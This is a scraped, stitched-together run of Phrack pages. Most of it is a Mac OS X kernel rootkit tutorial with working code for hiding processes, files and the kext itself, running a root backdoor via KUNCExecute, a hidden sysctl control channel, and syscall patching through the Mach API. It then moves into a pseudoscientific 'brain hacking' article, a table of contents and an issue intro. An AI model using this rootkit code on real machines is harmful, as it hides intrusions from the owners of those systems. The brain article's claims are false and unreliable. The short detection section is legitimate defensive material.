First memory needed to store the copy of the data needs to be allocated using the MALLOC‑macro, then the data needs to be copied from userspace using the copyin(9)‑function. The copyin(9) function copies data from userspace to kernelspace. Then the data needs to be processed and selected entries removed. The actual process of deleting an entry is done by overwriting it with the rest of the data in the buffer. This requires doing an overlapping memory copy, this functionality is provided by the bcopy(3) function. Once an entry has been removed the counter for the total size of the buffer needs to be decreased and the data can finally be returned, or rather copied, to userspace.

/* Search for process to remove */

for (i = 0; i < nprocs; i++) if(plist[i].kp_proc.p_pid == 11) /* hardcoded PID */

{

/* If there is more then one entry left in the list

* overwrite this entry with the rest of the buffer */

if((i+1) < nprocs)

bcopy(&plist[i+1],&plist[i],(nprocs ‑ (i + 1)) * sizeof(struct kinfo_proc));

/* Decrease size */

oldlen ‑= sizeof(struct kinfo_proc);

nprocs‑‑;

}

The modified data is then copied back to the userspace buffer using the copyout(9) function. In this case two different functions are used to copy data to userspace. The suulong(9) function is used to copy only small amounts of data to userspace while copyout(9) is used to copy the actual data buffer.

/* Copy back the length to userspace */

suulong(uap‑>oldlenp,oldlen);

/* Copy the data back to userspace */

copyout(mem,uap‑>old, oldlen);

The data trailing the last entry will, if the data was modified, contain an extra copy of the last entry in the buffer, something that might be used to detect that the buffer has been modified. To avoid this the trailing data can be zero:ed. A more sophisticated rootkit might want to store a copy of the original buffer prior to the call to the real syscall and use that data to pad the remaining buffer space.

A reference implementation of a processes hiding kernel extension can be found in the code section of this paper.

‑[ 4.3 ‑ Hiding files

As noted earlier, three different syscalls are of interest when hiding files, SYS_getdirentries, SYS_getdirentriesattr and SYS_getdirentries64. All of these syscalls share the sysctl(2) approach in that the calling application provides a buffer that the syscall will fill with appropriate data and return a counter indicating how much data was written. Due to the variable size of each record pointer arithmetics is required when parsing the data. All in all it is a complicated procedure and any mishaps is likely to cause a kernel crash. It is also important to patch all three syscalls of the getdirent‑syscall in order to maintain the illusion that the malicious files have disappeared.

The process is very similar to hiding a process; the original function is invoked, the data copied from userspace to kernelspace, modified as needed and then copied back.

A reference implementation of a file hiding kernel extension can be found in the code section of this paper.

‑[ 4.4 ‑ Hiding a kernel extension

Kernel modules can be listed with the command 'kextstat'. If the rogue rootkit kernel extension can be easily identified using the kextstat commands it sort of voids the purpose of the rootkit. nemo [5] identified a simple and elegant way to hide the presence of a kernel module for the WeaponX [9] kernel rootkit.

extern kmod_info_t *kmod;

void activate_cloaking()

{

kmod_info_t *k;

k = kmod;

kmod = k‑>next;

}

This short snippet of code finds the linked list containing the loaded modules and simply delinks the last loaded module from that list. Since the kextstat utility will walk this list when presenting the information on loaded kernel extensions the newly loaded rootkit will disappear from that list. For the same reason the kextunload utility will also fail to unload the module from the kernel, which actually can be quite annoying.

‑[ 4.5 ‑ Running userspace programs from kernelspace

On Mac OS X there exists a special API called KUNC (Kernel‑User Notification Center) [6]. This API is used when the kernel (i.e. a KEXT) might need to display a notification to the user or run commands in userspace.

The KUNC function used to execute commands in userspace is KUNCExecute(). This function is quite handy in rootkit development, since we may execute any command we want as root from kernelspace. The function definition looks like this.

(Taken from xnu‑xxx/osfmk/UserNotification/KUNCUserNotifications.h)

#define kOpenApplicationPath 0

#define kOpenPreferencePanel 1

#define kOpenApplication 2

#define kOpenAppAsRoot 0

#define kOpenAppAsConsoleUser 1

kern_ret_t

KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType);

The "executionPath" is the file‑system path to the application or executable to execute. The "openAsUser" flag can either be "kOpenAppAsConsoleUser", to execute the application as the logged‑in user or "kOpenAppAsRoot", to run the application as root. The "pathExecutionType" flag specifies the type of application to execute, and can be one of the following.

kOpenApplicationPath ‑ The absolute file‑system path to a executable. kOpenPreferencePanel ‑ The name of a preference pane in /System/Library/PreferencePanes.

kOpenApplication ‑ The name of a application in the "/Applications" folder.

To execute the binary "/var/tmp/mybackdoor" we simply do like this:

KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath);

This function is especially useful in combination with some sort of trigger, like a hooked tcp‑handler that executes the function and spawns a connect‑back shell to the source‑ip of a magic trigger‑packet. The interesting parts of the network layer is actually exported and can be easily modified.

Or if you prefer a local privilege escalation backdoor, why not hook SYS_open and execute the specified file with KUNCExecute if you supply a magic flag? The possibilities are endless.

‑[ 4.6 ‑ Controlling your rootkit from userspace

Once the appropriate syscalls and kernel functions has been replaced with rogue versions capable of hiding files, network sockets and processes each of these needs to know what to hide.

A popular way to trigger process hiding is to hook SYS_kill and send a special signal (31337 perhaps?) to the process to hide. This is easy and requires no special tools of any kind. If the processes hiding is performed by setting special flags on the process this flag can be inherited for fork() and exec() and thereby hide an entire process‑tree.

Hiding files and sockets is trickier since we have no easy way to indicate to the kernel that we want them hidden. The creation of a new syscall is an easy way, or to piggy‑back on one of the hooked ones and have a special magic argument to trigger the communication code. This does however require special tools in userspace capable of calling the right syscall with the correct arguments. These tools can be identified and searched for even if the rootkit tries to hide them in the filesystem they are always vulnerable to offline analysis.

An easy way to create a communication channel that doesn't require special tools or an entry in the /dev/‑directory is to use sysctl. In the Mac OS X kernel drivers can register their own variables and have them changed using the /usr/sbin/sysctl‑tool which is available by default on all systems.

Registering a new sysctl can be easily done using the normal kext procedures. The source for the example below can be found in reference 7.

/* global variable where argument for our sysctl is stored */

int sysctl_arg = 0;

static int sysctl_hideproc SYSCTL_HANDLER_ARGS

{

int error;

error = sysctl_handle_int(oidp, oidp‑>oid_arg1,oidp‑>oid_arg2, req);

if (!error && req‑>newptr)

{

if(arg2 == 0)

printf("Hide process %d\n",sysctl_arg);

else

printf("Unhide process %d\n",sysctl_arg);

}

/* We return failure so that we dont show up in "sysclt ‑A"‑listings. */

return KERN_FAILURE;

}

/* Create our sysctl:s */

SYSCTL_PROC(_hw, OID_AUTO, hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, &sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process");

SYSCTL_PROC(_hw, OID_AUTO, unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, &sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process");

kern_return_t kext_start (kmod_info_t * ki, void * d) {

/* Register our sysctl */

sysctl_register_oid(&sysctl__hw_hideprocess); sysctl_register_oid(&sysctl__hw_unhideprocess);

return KERN_SUCCESS;

}

This code registers two new sysctl variables, hw.hideprocess and hw.unhideprocess. When written to using sysctl ‑w hw.hideprocess=99 the function sysctl_hideproc() is invoked and can be used to add the selected PID to the list of processes to hide. A sysctl for hiding files is slightly different since it takes a string as argument instead of an integer but the overall procedure is the same. The major reason to use sysctl is that it support dynamic registration of variable and the required tool sysctl is provided by the operating system.

The ‑A flag for sysctl is avoided by returning KERN_FAILURE whenever the function is called, this causes the newly created variables to be omitted from the listing.

There is also a number of other ways of communicating with the kernel and controlling your rootkit. For example you can use the Mach API for IPC or using kernel control sockets, both has their pros and cons.

‑‑[ 5 ‑ Runtime kernel patching using the Mach APIs

Instead of using a rogue kernel module (kext) to hijack syscalls the Mach API's can be used for runtime kernel patching. This is nothing new to the rootkit community, and has previously been used in rootkits such as SucKIT by sd [7] and phalanx by rebel [8], two very impressive rootkits for Linux.

To access kernel memory on Linux both SucKIT and phalanx uses /dev/kmem (and later /dev/mem). /dev/kmem and /dev/mem has been removed from Mac OS X as of version 10.4. The Mach‑subsystem does however provide a very useful set of memory manipulation functions. The functions of interest for a rootkit developer are vm_read(), vm_write() and vm_allocate(). These functions allows arbitrary read and write access to the entire kernel from userspace as well as allowing allocation of kernel memory. The only requirement is root access.

The vm_allocate() function in particular is of great value. A common technique used on other operating systems to allocate kernel memory is to replace a system call handler with the kmalloc() function, and then execute the syscall. This way an attacker is able to allocate memory in kernelspace needed to store the wrapper functions. The big downside of this approach is the race condition introduced in case some other userland process calls the same syscall. But since the friendly Apple kernel developers provided the vm_allocate() function this isn't necessary on Mac OS X.

‑[ 5.1 ‑ System call hijacking

The vm_read() and vm_write() functions can be used as great tools for syscall hijacking. First off the address of the sysentry table needs to be located. The process identified by Landon Fuller [1] works just as good from userspace as it does from kernelspace. The sysentry table contains pointers to all the syscall handler functions we want to hijack.

To read the address to the handler function for a syscall, i.e. SYS_kill, we can use the vm_read() function, and passing it the address of the sy_call variable of SYS_kill.

mach_port_t port;

pointer_t buf; /* pointer to your result */

unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */

unsigned int len = 4; /* number of bytes to read */

unsigned int sys_kill_addr = 0; /* final destination */

/* get a port to pid 0, the mach kernel */

if (task_for_pid(mach_task_self(), 0, &port)) {

fprintf(stderr, "failed to get port\n");

exit(EXIT_FAILURE);

}

/* read len bytes from r_addr, return pointer to the data in &buf */

if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { fprintf(stderr, "could not read memory\n"); exit(EXIT_FAILURE);

}

/* do proper typecast */

sys_kill_addr = *(unsigned int*)buf;

The address to the SYS_kill handler is now available in the sys_kill_addr variable. Replacing a syscall handler is as simple as writing a new value to the same location using the vm_write() function. In the example below we replace the SYS_setuid system call handler with the handler for SYS_exit, which will result in the termination of any program that calls SYS_setuid.

SYSENT *_sysent = get_sysent_from_mem();

mach_port_t port;

pointer_t buf;

unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */

unsigned int len = 4; /* number of bytes to read */

unsigned int sys_exit_addr = 0; /* final destination */

unsigned int sz, addr;

/* get a port to pid 0, the mach kernel */

if (task_for_pid(mach_task_self(), 0, &port)) { fprintf(stderr, "failed to get port\n"); exit(EXIT_FAILURE);

}

/* read len bytes from r_addr, return pointer to the data in &buf */

if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) { fprintf(stderr, "could not read memory\n"); exit(EXIT_FAILURE);

}

/* do proper typecast */

sys_exit_addr = *(unsigned int*)buf;

/* address to system call handler pointer of SYS_setuid */

addr = (unsigned int)&_sysent[SYS_setuid].sy_call;

/* replace SYS_setuids handler with the handler of SYS_exit */

if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr, sizeof(sys_exit_addr))) {

fprintf(stderr, "could not write memory\n"); exit(EXIT_FAILURE);

}

Now if any program calls setuid(), it will be redirected to the system call handler of SYS_exit, and end gracefully. The same thing that can be done using a kernel extension can also be accomplished using the Mach API.

In order to actually create a wrapper or completely replace a function some kernel memory is needed to store the new code. Below is a simple example of how to allocate 4096 bytes of kernel memory using the Mach API.

vm_address_t buf; /* pointer to our newly allocated memory */

mach_port_t port; /* a mach port is a communication channel between threads */

/* get a port to pid 0, the mach kernel */

if (task_for_pid(mach_task_self(), 0, &port)) {

fprintf(stderr, "failed to get port\n");

exit(EXIT_FAILURE);

}

/* allocate memory and return the pointer to &buf */

if (vm_allocate(port, &buf, 4096, TRUE)) {

fprintf(stderr, "could not allocate memory\n"); exit(EXIT_FAILURE);

}

If everything went as planned we now have 4096 bytes of fresh kernel memory at our disposal, accessible via buf. This memory can be used as a place to store our syscall hooks

‑[ 5.2 ‑ Direct Kernel Object Manipulation

It is not just system calls that can be hijacked using this technique, it also works just as good to manipulate various other objects in kernelspace. A good example of such a object is the allproc structure, which is a list of proc structures of currently running processes on the system. This list is used by programs such as ps(1) and top(1) to get information about the running processes.

So if you have processes you want to hide from a nosy administrator a nice way of doing so is by removing the process proc strcuture from the allproc list. This will make the process magically disappear from ps(1), top(1) and any other tools that uses the allproc structure as source of information.

The allproc struct is, just as the nsysten variable, a exported symbol of the kernel. To get the address of the allproc structure in memory you may do something like this:

# nm /mach_kernel | grep allproc

0054280c S _allproc

#

Now that you have the address of the allproc structure (0x0054280c) all you need to do is to modify the list and remove the proc structure of the preferred process. As described in "Designing BSD Rootkits" [11] this is usually done iterating through the list with the LIST_FOREACH() macro and removing entries with the LIST_REMOVE() macro. Since we can't modify the memory directly we have to use a wrapper utilizing the vm_read() and vm_write() functions, which we also leave as an exercise for the reader to implement. :)

‑‑[ 6 ‑ Detection

Detecting kernel rootkits can be very difficult. Some well known rootkits leaves traces in the filesystem or open network sockets that can be used to identify them. But this is nothing every rootkit does and wont help you to spot unknown rootkits.

Keeping a known good list of the sysentry table and comparing that to the current state is another way to try to identify if syscalls have been modified. A popular workaround for that is to keep a shadow copy of the entire syscall table and modify the interupt‑handler to the use the shadow table instead of the original one. This will leave the original sysentry table intact and anyone looking at it will find it unmodified even though all syscalls are still re‑routed through the malicious functions. Another way is to replace the entire interrupt‑handler as well as the sysentry table.

Rootkits that intercept syscalls and modify the contents can sometimes be found by the fact that the buffer used to return data has junk at the end. Rootkit developers could surely fix this problem, but they often don't. Other indications of mischief is that calls that only returns counters, for instance the number of running processes, systematically doesn't match the count of running processes when listed.

One way of finding hidden files is to write software that accesses the underlying filesystem directly and matches the files on disk with the output from the kernel. This requires writing filesystem software or finding a library for the specific filesystem used. The upside is that it is virtually impossible to intercept and modify calls to the raw device.

Rootkits that hide open ports can under some circumstances be detected by port‑scanning, when more advanced rootkits often use port‑knocking or other types out of band signaling to avoid opening ports.

Detecting rootkits is a cat and mouse game, and the only winning move is not to play.

‑[ 6.1 ‑ Detecting hooked system calls on Mac OS X

Now that you know how to hook system calls, we are going to show you a simple, yet effective, way of detecting if your system has gotten any of it's system calls hijacked.

We already know that we can get the location of the sysent array in memory by adding 32 bytes to the exported nsysent symbol. We also know that the nsysent symbol contains the actual number of syscalls available on Mac OS X, which is 427 (0x1ab) on 10.5.6.

Now, if we want to check if the current sysent array has been compromised we need something to compare it with, something like the original table. On Mac OS X the kernel image is a uncompressed, universal (Leopard) macho‑o binary named mach_kernel found in the root of the filesystem. If we take a closer look at the kernel image we get this:

# otool ‑d /mach_kernel | grep ‑A 10 "ab 01"

[...]

0050a780ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0050a79000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0050a7a000 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00

0050a7b001 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00

#

At 0050a780 we see the magic number 427 (0x000001ab), the number of available syscalls. If we look 32 bytes ahead we see the value 0x38cf94, can this be the start of the sysent array? I think it is!

All we need to is to copy the kernel image to a buffer, find the offset to the nsysent symbol, add 32 bytes to the offset and return a pointer to that position and we have our original sysent array. All this can be done with the following C function.

char *

get_sysent_from_disk(void)

{

char *p;

FILE *fp;

unsigned long sz;

int i;

fp = fopen("/mach_kernel", "r");

if (!fp) {

fprintf(stderr, "could not open file\n");

exit(‑1);

}

fseek(fp, 0, SEEK_END);

sz = ftell(fp);

fseek(fp, 0, SEEK_SET);

buf = malloc(sz);

p = buf;

fread(buf, sz, 1, fp);

fclose(fp);

for (i = 0; i < sz; i++) {

if (*(unsigned int *)(p) == 0x000001ab &&

*(unsigned int *)(p + 4) == 0x00000000) {

return (p + 32);

}

p++;

}

return NULL; /* epic fail */

}

This function can later be used in a simple detector.

struct sysent *_sysent_from_ram;

struct sysent *_sysent_from_hdd;

_sysent_from_ram = (struct sysent *)get_sysent_from_ram(); _sysent_from_hdd = (struct sysent *)get_sysent_from_disk();

for (i = 0; i < 428; i++) {

if (get_syscall_addr(i, _sysent_from_ram) != get_syscall_addr(i, _sysent_from_hdd))

report_hooked_syscall(i);

}

Of course this method has it's flaws. An attacker may manipulate the SYS_open syscall and redirect the call to a rogue copy of the kernel image if the file /mach_kernel is accessed. This can be overcome by always keeping a fresh and clean copy of the kernel image on a non‑writable media.

This method is also not capable of detecting inline function hooks in the system call handler functions, that's a modification left as an exercise for the reader to implement.

‑‑[ 7 ‑ Summary

Rootkits on Mac OS X is not a new topic, but not as well researched as i.e. rootkits on Windows or Linux. As we have shown, the techniques used is quite similar to the ones used on other unix‑like operating systems. In addition to this OS X has some extra goodies, like the I/O Kit framework and the Mach API, that provides really useful features for people trying to subvert the XNU kernel.

Manipulating syscalls, internal kernel structures and other parts of the XNU kernel is a great way to hide processes, files and folders and even to place backdoors accessible directly from userland. All this can be achieved using either a kernel extension or the Mach API, and if done right almost impossible to detect. Both techniques have different advantages and it's up to you to choose which technique to use in your own rootkit.

The purpose of this article was first and foremost to give a basic understanding of the subject and is intended as an entry level tutorial for anyone wishing to implement their own OS X kernel rootkit and we sincerely hope that it helped to shed some light on the subject.

‑‑[ 8 ‑ References

[1] Landon Fuller ‑ Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html

[2] Apple Developer Connection

http://developer.apple.com

[3] Apple ‑ Darwin source code http://opensource.apple.com/darwinsource/

[4] Apple Kernel Programming guide http://developer.apple.com/documentation/Darwin/Conceptual/KernelProgramming/keepout/keepout.html

[5] nemo of felinemenace

http://felinemenace.org/~nemo/

[6] I/O Kit Device Driver Design Guidelines: Kernel‑User Notification http://developer.apple.com/documentation/DeviceDrivers/Conceptual/WritingDeviceDriver/KernelUserNotification/KernelUserNotification.html

[7] Linux on‑the‑fly kernel patching without LKM http://phrack.org/issues.html?issue=58&id=7#article

[8] phalanx rootkit by rebel http://packetstormsecurity.org/UNIX/penetration/rootkits/phalanx‑b6.tar.bz2

[9] WeaponX rootkit by nemo http://packetstormsecurity.org/UNIX/penetration/rootkits/wX.tar.gz

[10] logKext keylogger by drspringfield http://code.google.com/p/logkext/

[11] Designing BSD Rootkits by Joseph Kong

ISBN 1593271425

‑‑[ 9 ‑ Code

begin 644 code.tar.gz

M'XL("!LM]TD``V‑O9&4N=&%R`.S]8Y1G3;,OBI9M=]FV;=NV;1M=MFW;MJNZ

end

How close are they of hacking your brain

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x11 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ How close are they of hacking your brain? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by dahut ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ dahut@skynet.be]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since the invention of the EEG, S‑F writers produced many books with stories about pumping out the content of your brain and putting it in another brain, or taking the control of your soul or willingness and driving you as a robot. We wil not talk about the well known MK‑ULTRA project that never ended up on any real functioning device approaching this result. What they did reach is well described in the still suspicious book "Trance formation of America" (www.trance‑formation.com).

Our recent researched demonstrate however that it is possible that something is happening or close to.

We will explain two different technologies, that can provide some breakthrough in the mind control.

‑‑[ 1. MRI

By enhancing the resolution of Magnetic Resonance Imagery device, we should be able to do nice things such putting ideas or remembering in the brain of someone.

There are today multiples ways to measure brain activity. Brain activity is also brain content, to some extent, depending what you are measuring and what you are looking for.

The most advanced works achieved around what's in the brain is the BlueBrain project, invented by Henry Markram at EPFL in Switzerland. His lab is using a 10.000 CPU Blue Gene type IBM supercomputer, and a super Silicon Graphic computer with 16 graphic cards and 64 Itanium 2 CPU to display processing results. He did start by making the inventory of all neurons types and response type, sorting out few tens types of each. Next he built devices to digitize the geometry of each type of neuron, following the path of dendrites and axons, branch by branch, stroke by stroke, change in diameter, etc. A typical neuron ends up with about 10.000 XYZ 3D coordinates. Next, he packed 10.000 neurons of multiple types in a very narrow space; 5mm by 1mm. This is what scientists name a microcolumn of the neocortex. Then he put electrical input at the entry of the "network" and did a simulation, using the few tens of responses found in these neurons. The result is a modified electrical state of all these branches: 100 millions branches! Each one with a different electrical level. This density of neurons produces short circuits between each of them, the synapse. Such micro column can contains up to a trillion synapses!

From a mechanical point of view, this is not anymore a network, this is a dense matter with different electrical level at each cubic 5 micron. You should see the neuronal network as the processing device of the I/O, when the remaining electrical levels are the memory of the events/habits/experiences.

Now, let's say that a lab can produce a MRI device with such resolution. It will measure the electrical level each 5 micron, and do it for a specific area, let's say to start easy, the area of both hands. Ok, we have to store few terabytes of data, a quite easy job today.

Now, let's take somebody, and put his head in another device, a three dimensional phased array radar, or more precisely, a micro wave transducer (only the emitting part of the radar). This device can browse space without movement. By putting two perpendicular transducers next to the brain, they can send two beams in it, and where they cross, create an electrical pulse with an intensity equal to the sum of both beams, also equal to the original.

Doing so, it's possible with a super high resolution system, to pinpoint each cell that was acquired (peeked) in the "donor", and poke its value in the other brain.

If the donor is a good violin player, the receiver, when waking up, will feel as if he has new hands, and be surprised how easy he can play violin (but maybe not Mozart yet).

A step further, we can peek and poke other areas of the brain, like the one containing experience, skills, visual scenes. With this last example, a criminal or a suspect refusing to talk, can be peeked from the visual cortex, and the result can be poked in another brain. The receiver will "see" new scenes, and maybe the one of the crime.

The better the resolution, the higher the resolution of the remembering.

It's not mandatory to match neuron by neuron, from the donor to the receiver, or stroke by stroke, or synapse by synapse. The density is so high that we can really see the memory inside the neocortex as being stored in a three dimensional matrix. Whatever the network, as soon as it is the area used to do a specific operation (see Broca's areas) like hands, speech, vision, etc. the "knowledge" stored during years is stored as electrical levels in a matrix. The neuronal network will find back it's way through the different channels of higher voltage poked in the matrix, reconnect instantaneously synapses to recreate missing bridges.

‑‑[ 2. Total Recall and Arnold Schwarzenegger are not so far!

Here is a metaphor to better understand the concept:

Think about a country: villages and inhabitants are there, connected with road networks.

Move houses and inhabitants in another place, keeping topology. Wherever they end up, they will immediately recreate roads and path to reconnects all houses and building. Houses and inhabitants are our memory and skills, materialized by electrical levels. They don't care about having to recreate roads and paths. They know where they want to go and which connections they need to do their work. The synaptic plasticity is even more wonderful than what you can imagine. Indeed, axons and dendrite can move as snakes to approach other neurons structure, and pop up synaptic connections everywhere they wan, and all of that in seconds!

Basically, think about your brain being a computer. First neurons met by an external input are acting as your computer I/O unit; and A/D converter. These neurons are mostly in the internal side of the neocortex (inside the brain).The neurons the are receiving the converted measures are the processing units, and the neurons receiving the results, have to send it to the muscles or some other parts of your body. In parallel, all neurons are storing what's happening all the time, recording everything crossing them: this is our memory, a matrix parallel to our neuronal network, used for data storage an dnot directly related to our processing unit.

The system described here above will not work to inject ideas in the brain, but just knowledge, remembering and skills. Producing ideas is something else, produced by consciousness, and this is a complete other story involving quantum physic.

‑‑[ 3. Quantum Physic

We are now entering in leading edge researches made by visionary scientists that are not always belonging to what we name the "scientific paradigm", meaning that if they want to keep their annual funding, they should not investigate further these areas or stop to talk about what they are doing. We will present you some of their work and how they can hack your brain to the perfection.

If you take a neuron, or even any living cell, you can find in all of them centriols and micro tubules. All are made of bi‑state monomers molecules, able to take two states, alpha and beta, depending the quantum state of on of their component. Each molecule has a state but can switch to the other one for some still unknown reason. When all the molecules of one micro‑tubule switch their state to the same one, the micro tubule becomes super conductive for light and some other waves. The change of state is due to one spinning particle that will collide the molecule and change the position of one its atom. These molecules have a size of 15nm. We need therefore a device able to send spinning particle in a brain with a resolution of maximum 15 nm to have a chance to make the atom turning the righ way. Hopefully, making an particle spinning left handed will make the molecule swapping to it's L‑associated state, or let's say the alpha state.

There are already labs device able to adjust and measure particle's spin direction. Let's imagine we make them in such a way that they can work on the brain a little bit like the MRI hacking machine. It will not be a device as with the 3D phased array system, but more a wave canon, adjusting the wave origin to match exactly the distance needed to act on a specific electron. The device will have to be highly accurate, and fast. We can think about minimum one million antennas in the device (don't worry, they are used with such complexity). The device will process millimeter by millimeter of the neo cortex, and required about one minute to read or patch a square centimeter. Because its entire surface is 2.000 square cm, the device will need about two days to hack a complete brain. Being not able to have an exact matching between both brains geometry is not a matter, for the same reason as with the MRI system. We can use, only here, the term of holographic memory, because what's important is the spatial content, not the topological content. The brain network is so dense that it's not a network anymore when you speak about storing information in it. It's like house that are so dense that you can jump from one roof to the other, without going through the roads. So roads are used to process date coming from outside the village, and going outside the village, but if you stay in the village you don't need roads at all.

Now, let's explain what's the outcome of such blast in your brain.

When you will wake up, after the long stay in the device, you will feel nothing new, because you are not yourself anymore, and you can't remember your first life. The guy standing in front of you, coming from the other machine, the "donor", si now YOU, but with another body. You feel now as twins, you have the same rembering of your life, you think the same, you have exactly the same knowledge and intelligence. If he s sad, you are sad, if he is good, you are good, if he likes men, you will like men too.

If he is a terrorist, you will behave like a terrorist. Nothing to learn anymore, everything is already in your brain. You know how to build a bomb, how to pilot an air plane, how to fights, etc. but if was peanut to train you, to convince you, to enroll you. Well, there is the cost of the brain device, not cheap at all, but they have the cash!

You can also decide to copy only part of the brain, but it's more risky because that's a research area were we are not far, and it could be dangerous to outcome with overlapping memory, like, let's say, the top of you wife, and the bottom of your "loved boyfriend"!

Next day, think twice when waking up: are you still yourself?

References:

http://bluebrain.epfl.ch/

http://en.wikipedia.org/wiki/Phased_array

http://en.wikipedia.org/wiki/Total_Recall

67

- Introduction by The Phrack Staff

- Phrack Prophile on Punk by The Phrack Staff

- Phrack World News by EL ZILCHO

- Loopback (is back) by The Phrack Staff

- How to make it in Prison by TAp

- Kernel instrumentation using kprobes by ElfMaster

- ProFTPD with mod_sql pre-authentication, remote root by FelineMenace

- The House Of Lore by blackngel

- A Eulogy for Format Strings by Captain Planet

- Dynamic Program Analysis and Software Exploitation by BSDaemon

- Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS by Magma

- Phrackerz by Antipeace & The Analog Kid

- Scraps of notes on remote stack overflow exploitation by pi3

- Notes Concerning The Security, Design and Administration of Siemens DCO-CS by The Philosopher

- Hacking the mind for fun and profit by lvxferis

- International scenes by various

Introduction

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x01 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By The Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ November 17, 2010 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The greatest trick the Devil ever pulled was convincing the world he didn't exist"

‑‑‑ Verbal Kint

It's 1.00 a.m., nobody hits this secondary road. Heck, I'm almost sure half of it doesn't have a line to remind you that you should share it with upcoming cars. It's raining, but not too hard. I'm going home.

It's Tuesday. What the hell am I doing out here, half an hour from home, slowly driving under the rain? It's 1.05 a.m., I know this road, I know this feeling, I recognize the shivering. I let it flow. Turn off the music, I want silence.

It's 2.00 a.m., nobody hits this machine at this time of the day. Logs track me, but I'll clean them. I know this road, I know this feeling, I recognize the shivering. Turn on the music, the game is on. I'm sure someone else is around here, someone else has seen this # before.

"I'll fuck you if you don't fuck me first, sir". Fair enough, this is the rule. I'll go to sleep afterwards. I'm meeting some friends and I've to take a train tomorrow. I'll sleep on the couch of someone I've never seen before, yet I know him well.

It's 1.00 a.m., 10 years later. It's a GPG email from the guy that once offered me a couch. Then another time. I can count the times I've seen him in person on two hands, but I would overflow a 'short' counting the words we exchanged. We meet again, thought you disappeared. Things change, indeed. Life gave us something to lose and we are holding on it. We lost people, money, opportunities, that's why we hold on. Once a hacker, forever a hacker, right? Let's finish this code. Let's visit this city.

It's 2.00 a.m., today. Nothing in this story, in this Intro, is real. I wasn't there, this is not me. This is just a stream of ASCII characters. Someone out there pulled a great trick and convinced the world that security was a cool business. Someone is pulling even greater tricks and makes money out of his ignorance living on others slightly bigger ignorance. Somewhere, a crackdown on some kids proves to be necessary to keep the 'mistery' alive, to keep the bandwagon going. Someone spies on former fellow friends, 'cause that's worth millions. Everybody is happy and we slowly fade away. Away, towards a new Underground.

"I'll fuck you if you don't fuck me first, sir".

If you are shivering, if you have been there, if you feel it, you know what I mean. PHRACK may die. Groups may die. Things as we know today may die. The great trick might actually seem to work ‑‑ goodbye Underground, welcome Security Industry. Not too fast.

"Once a hacker, forever a hacker, right?"

The Game is on.

‑‑‑‑‑( Phrack Issue #67 )‑‑‑‑‑

It's with incredible pleasure that we present you our newly released issue:

______ _ _ ______ _______ _______

(_____ \(_) (_|_____ \(_______|_______U |_(_______|______)

_____) )_______ _____) )_______ _

| ____/| ___ | __ /| ___ | | O |_| ___ \ / )

| | | | | | | \ \| | | | |_____

|_| |_| |_|_| |_|_| |_|\______n_| |______/ (_/

‑ By the community, for the community. ‑

But wait ... the release date ... it sounds familiar ... OMFG!!!

\\\ ,

\ `|

) (

| |

| | (

| |

\ \

